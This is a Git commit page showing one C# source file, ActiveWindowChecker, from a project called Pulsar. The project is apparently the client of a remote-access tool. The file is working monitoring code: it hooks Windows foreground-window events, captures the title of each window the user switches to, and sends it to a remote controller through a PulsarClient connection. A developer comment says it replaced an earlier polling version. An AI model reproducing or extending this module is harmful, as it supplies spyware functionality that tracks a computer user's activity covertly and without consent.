initial commit
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run

This commit is contained in:
i2p
2026-08-27 10:57:58 -06:00
commit 773d05f8f1
1038 changed files with 109261 additions and 0 deletions
+97
View File
@@ -0,0 +1,97 @@
using System;
using System.Text;
using System.Threading;
using System.Windows.Forms;
using Pulsar.Client.Networking;
using Pulsar.Common.Messages;
using System.Runtime.InteropServices;
namespace Pulsar.Client.User
{
//changed it so its not longer that trash thing u did where it checks every 5 secds
// now it sends new window titled whenever a focus is chagned
public class ActiveWindowChecker : IDisposable
{
private readonly PulsarClient _client;
private readonly CancellationTokenSource _tokenSource;
private readonly CancellationToken _token;
private delegate void WinEventDelegate(IntPtr hWinEventHook, uint eventType, IntPtr hwnd, int idObject, int idChild, uint dwEventThread, uint dwmsEventTime);
[DllImport("user32.dll")]
private static extern IntPtr SetWinEventHook(uint eventMin, uint eventMax, IntPtr hmodWinEventProc, WinEventDelegate lpfnWinEventProc, uint idProcess, uint idThread, uint dwFlags);
[DllImport("user32.dll")]
private static extern bool UnhookWinEvent(IntPtr hWinEventHook);
[DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount);
[DllImport("user32.dll")]
private static extern IntPtr GetForegroundWindow();
private const uint WINEVENT_OUTOFCONTEXT = 0;
private const uint EVENT_SYSTEM_FOREGROUND = 0x0003;
private IntPtr _hookId;
private readonly WinEventDelegate _winEventDelegate;
public ActiveWindowChecker(PulsarClient client)
{
_client = client;
_tokenSource = new CancellationTokenSource();
_token = _tokenSource.Token;
_winEventDelegate = new WinEventDelegate(WinEventProc);
_hookId = SetWinEventHook(EVENT_SYSTEM_FOREGROUND, EVENT_SYSTEM_FOREGROUND, IntPtr.Zero, _winEventDelegate, 0, 0, WINEVENT_OUTOFCONTEXT);
if (_hookId == IntPtr.Zero)
{
}
}
private void WinEventProc(IntPtr hWinEventHook, uint eventType, IntPtr hwnd, int idObject, int idChild, uint dwEventThread, uint dwmsEventTime)
{
if (eventType == EVENT_SYSTEM_FOREGROUND)
{
string currentWindowTitle = GetCurrentWindowTitle();
_client.Send(new SetUserActiveWindowStatus { WindowTitle = currentWindowTitle });
}
}
private string GetCurrentWindowTitle()
{
const int nChars = 256;
StringBuilder buff = new StringBuilder(nChars);
IntPtr handle = GetForegroundWindow();
if (GetWindowText(handle, buff, nChars) > 0)
{
return buff.ToString();
}
return null;
}
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
_tokenSource.Cancel();
_tokenSource.Dispose();
if (_hookId != IntPtr.Zero)
{
UnhookWinEvent(_hookId);
_hookId = IntPtr.Zero;
}
}
}
}
}